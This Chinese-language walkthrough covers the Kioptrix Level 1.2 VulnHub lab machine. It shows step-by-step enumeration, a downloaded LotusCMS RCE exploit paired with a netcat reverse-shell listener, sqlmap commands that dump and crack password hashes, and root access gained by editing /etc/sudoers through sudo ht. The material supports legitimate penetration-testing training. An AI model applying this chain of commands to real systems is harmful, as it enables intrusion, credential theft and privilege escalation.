Kioptrix: Level 1.2
实验环境
攻击机(kali):192.168.146.128
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
kali 与靶机为同种网络模式(此处均为 NAT 模式)
Enumeration
Host Enumeration
使用 arp-scan 进行主机探测:sudo arp-scan -l
得到靶机 IP 为:192.168.146.133
根据靶机附带 readme 文件内容:
按提示添加 host 记录到攻击机:sudo nano /etc/hosts
Port Enumeration
使用 nmap 进行端口扫描:sudo nmap -T4 -sV -O -p- 192.168.146.133
└─$ sudo nmap -T4 -sV -O -p- 192.168.146.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 13:20 CST
Nmap scan report for 192.168.146.133
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:99:67:C5 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds
发现开放 22(ssh)与 80(http)服务。
Directory Enumeration
使用 dirsearch 进行目录扫描:dirsearch -u http://kioptrix3.com -x 400-599 -t 50
目录扫描发现存在可疑路径 /gallery、/phpmyadmin。
Foothold
LotusCMS RCE
针对 web 页面进行信息搜集,使用 whatweb 扫描网站信息:whatweb http://kioptrix3.com
发现其网站 CMS 可能是 LotusCMS。
访问 web 页面在首页发现 Login 字样,点击就会跳转到登录框,同时在登录框下方也看到 CMS 信息:
通过 searchsploit 查询此 CMS 相关漏洞:searchsploit lotuscms
查找到存在 RCE 但是需要用到 MSF,为贴近 OSCP 考试,尽量不使用 MSF,上网查询是否存在其他 exp 代码:
在 github 找到 exp:https://github.com/Hood3dRob1n/LotusCMS-Exploit
将其下载到攻击机并赋予可执行权限:
wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh
chmod +x lotusRCE.sh
查看代码内容可知使用方法:
先新建窗口建立起 nc 监听:nc -lvnp 4444
然后运行 exp 代码:./lotusRCE.sh kioptrix3.com /
运行后按提示输入用于接收反弹 shell 的 IP 和端口,并选择反弹方式:
选择反弹方式 1 之后,nc 收到反弹 shell,权限为 www-data:
使用 Python 建立 TTY Shell:python -c 'import pty;pty.spawn("/bin/bash");'
翻一下目录尝试搜集有效信息,在当前位置下的/gallery
文件夹下发现存在疑似配置文件gconfig.php
:
查看文件内容得到 mysql 账号密码为:root/fuckeyou
前往前面目录扫描时得到的路径 /phphmyadmin,访问进行登录,在数据库gallery
中发现两个存有用户信息的表:dev_accounts
和gallarific_users
dev_accounts
表中的用户信息:
1 dreg 0d3eccfb887aabd50f243b3f155c0f85
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e
密码被加密,使用网站在线解密:https://crackstation.net/
1 dreg 0d3eccfb887aabd50f243b3f155c0f85(Mast3r)
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e(starwars)
gallarific_users
表中的用户信息:
1 admin n0t7t1k4
接下来使用得到的账号密码前往http://kioptrix3.com/index.php?system=Admin
尝试登录,三个都无法登录成功,换 ssh 登录,dreg、loneferret 可成功登录。
Another Way - /gallery SQLi
访问http://kioptrix3.com/gallery/
进行漏洞挖掘:
点击页面 Ligoat Press Room 进入新页面,左下角有排序选项框,任选之后发现 url 出现了 id 参数:
将此 url 丢到 sqlmap 进行测试:
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs --batch
存在注入并查询出数据库名,接下来查询 gallery 库中的表名、列名、字段值:
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables --batch
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts --columns --batch
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts -C username,password --dump --batch
最终查询到用户名密码,密码经过 md5 加密,sqlmap 已自动解密:
Database: gallery
Table: dev_accounts
[2 entries]
+------------+---------------------------------------------+
| username | password |
+------------+---------------------------------------------+
| dreg | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) |
| loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
+------------+---------------------------------------------+
后续与前面类似,不再赘述。
Privilege Escalation
查看 dreg 用户,不允许 sudo 命令,家目录下无信息文件:
查看 loneferret 用户,家目录下存在两个文件,可执行脚本checksec.sh
是逆向中用于检测目标文件使用了哪些防护技术的,在CompanyPolicy.README
文件中找到提示信息,要运行命令:sudo ht
运行出现报错提示:Error opening terminal: xterm-256color.
查询是新版 kali 的终端配色过于先进,降级一下:export TERM=xterm-color
验证一下 sudo 权限:
发现 su 和 ht 具有 root 权限,尝试运行 su 命令失败,无法直接切换至 root 用户。
再次运行:sudo ht
ht 编辑器使用说明:https://www.aldeid.com/wiki/HT-Editor
按 F3 调出文件窗口,输入/etc/sudoers
回车进行编辑:
将原有loneferret条目修改为:loneferret ALL=(ALL) ALL
修改完毕按 F2 保存,然后按 F10 退出,回到终端后运行命令:sudo su -
(输入loneferret密码 starwars)
成功获取 root 权限,并在 root 目录下找到 flag。
Key Learnings From this BOX
- 学会寻找 cms 框架信息,配合 searchsploit、github 寻找相关漏洞进行利用;
- 时刻关注登录框的 SQL 注入;
- 提权依然离不开信息搜集,如 sudo 权限范围、使用 root 权限的进程等信息。